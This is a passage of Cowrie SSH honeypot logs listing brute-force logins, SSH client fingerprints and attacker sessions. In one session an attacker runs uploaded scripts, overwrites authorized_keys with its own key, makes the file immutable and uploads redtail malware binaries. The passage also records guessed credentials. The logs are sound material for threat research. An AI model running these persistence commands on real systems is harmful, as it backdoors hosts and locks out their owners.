19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:31.915611Z","src_ip":"161.248.147.153","session":"194c75528a7d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P","message":"login attempt [root/P] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:32.411819Z","src_ip":"161.248.147.153","session":"194c75528a7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:32.654699Z","src_ip":"161.248.147.153","session":"194c75528a7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":40246,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e95b02fa7c2","protocol":"ssh","message":"New connection: 130.12.180.51:40246 (10.17.0.5:22) [session: 2e95b02fa7c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:32.774901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:32.778639Z","src_ip":"130.12.180.51","session":"2e95b02fa7c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:32.860043Z","src_ip":"130.12.180.51","session":"2e95b02fa7c2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P","message":"login attempt [root/P] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:33.105576Z","src_ip":"130.12.180.51","session":"2e95b02fa7c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44946,"dst_ip":"159.203.135.109","dst_port":22,"session":"49fad398236d","protocol":"ssh","message":"New connection: 2.57.122.208:44946 (159.203.135.109:22) [session: 49fad398236d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:49.145933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:49.263422Z","src_ip":"2.57.122.208","session":"49fad398236d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:49.266758Z","src_ip":"2.57.122.208","session":"49fad398236d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:49.790294Z","src_ip":"2.57.122.208","session":"49fad398236d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:50.368459Z","src_ip":"130.12.180.51","session":"2e95b02fa7c2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"","message":"CMD: chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:50.371552Z","src_ip":"130.12.180.51","session":"2e95b02fa7c2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4a869e4a816476f12d5cd6aab0625c5f6aab97714a486f6b8a5f484cbc8981f6","size":83,"shasum":"4a869e4a816476f12d5cd6aab0625c5f6aab97714a486f6b8a5f484cbc8981f6","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4a869e4a816476f12d5cd6aab0625c5f6aab97714a486f6b8a5f484cbc8981f6 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:50.456851Z","src_ip":"130.12.180.51","session":"2e95b02fa7c2","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"clean.sh","outfile":"var/lib/cowrie/downloads/d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","shasum":"d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","message":"SFTP Uploaded file \"clean.sh\" to var/lib/cowrie/downloads/d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:50.540336Z","src_ip":"130.12.180.51","session":"2e95b02fa7c2","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.arm7","outfile":"var/lib/cowrie/downloads/3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","shasum":"3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","message":"SFTP Uploaded file \"redtail.arm7\" to var/lib/cowrie/downloads/3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:50.547186Z","src_ip":"130.12.180.51","session":"2e95b02fa7c2","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.arm8","outfile":"var/lib/cowrie/downloads/dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","shasum":"dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","message":"SFTP Uploaded file \"redtail.arm8\" to var/lib/cowrie/downloads/dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:50.555739Z","src_ip":"130.12.180.51","session":"2e95b02fa7c2","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.i686","outfile":"var/lib/cowrie/downloads/048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","shasum":"048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","message":"SFTP Uploaded file \"redtail.i686\" to var/lib/cowrie/downloads/048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:50.564339Z","src_ip":"130.12.180.51","session":"2e95b02fa7c2","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.x86_64","outfile":"var/lib/cowrie/downloads/59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","shasum":"59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","message":"SFTP Uploaded file \"redtail.x86_64\" to var/lib/cowrie/downloads/59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:50.574281Z","src_ip":"130.12.180.51","session":"2e95b02fa7c2","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"setup.sh","outfile":"var/lib/cowrie/downloads/783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","shasum":"783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","message":"SFTP Uploaded file \"setup.sh\" to var/lib/cowrie/downloads/783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:50.578127Z","src_ip":"130.12.180.51","session":"2e95b02fa7c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.9","message":"Connection lost after 17.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:50.664180Z","src_ip":"130.12.180.51","session":"2e95b02fa7c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:50.890469Z","src_ip":"2.57.122.208","session":"49fad398236d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.134.154.36","src_port":42050,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7f29e18bb76","protocol":"ssh","message":"New connection: 103.134.154.36:42050 (10.17.0.5:22) [session: d7f29e18bb76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:59.963839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:59.968033Z","src_ip":"103.134.154.36","session":"d7f29e18bb76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:10:00.201338Z","src_ip":"103.134.154.36","session":"d7f29e18bb76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"escaner","password":"escaner@123456","message":"login attempt [escaner/escaner@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:10:01.173039Z","src_ip":"103.134.154.36","session":"d7f29e18bb76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:10:02.409732Z","src_ip":"103.134.154.36","session":"d7f29e18bb76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":56516,"dst_ip":"159.203.135.109","dst_port":22,"session":"55de7c730907","protocol":"ssh","message":"New connection: 138.99.80.102:56516 (159.203.135.109:22) [session: 55de7c730907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:10:50.093697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:10:50.098499Z","src_ip":"138.99.80.102","session":"55de7c730907","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:10:50.214953Z","src_ip":"138.99.80.102","session":"55de7c730907","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wei","password":"wei","message":"login attempt [wei/wei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:10:50.712234Z","src_ip":"138.99.80.102","session":"55de7c730907","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:10:51.830931Z","src_ip":"138.99.80.102","session":"55de7c730907","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":35950,"dst_ip":"159.203.135.109","dst_port":22,"session":"a50393857fec","protocol":"ssh","message":"New connection: 2.57.122.96:35950 (159.203.135.109:22) [session: a50393857fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:10:51.893902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:10:51.898197Z","src_ip":"2.57.122.96","session":"a50393857fec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:10:51.993265Z","src_ip":"2.57.122.96","session":"a50393857fec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin123","message":"login attempt [ubuntu/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:10:52.284310Z","src_ip":"2.57.122.96","session":"a50393857fec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:10:53.381353Z","src_ip":"2.57.122.96","session":"a50393857fec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.175.242.88","src_port":48490,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bc61da6d1ba","protocol":"ssh","message":"New connection: 107.175.242.88:48490 (159.203.135.109:22) [session: 1bc61da6d1ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:39.032009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:39.035899Z","src_ip":"107.175.242.88","session":"1bc61da6d1ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:39.136132Z","src_ip":"107.175.242.88","session":"1bc61da6d1ba","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Abc.1234","message":"login attempt [root/Abc.1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:39.544317Z","src_ip":"107.175.242.88","session":"1bc61da6d1ba","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:39.863962Z","src_ip":"107.175.242.88","session":"1bc61da6d1ba","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:39.867318Z","src_ip":"107.175.242.88","session":"1bc61da6d1ba","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:39.870420Z","src_ip":"107.175.242.88","session":"1bc61da6d1ba","protocol":"ssh"}
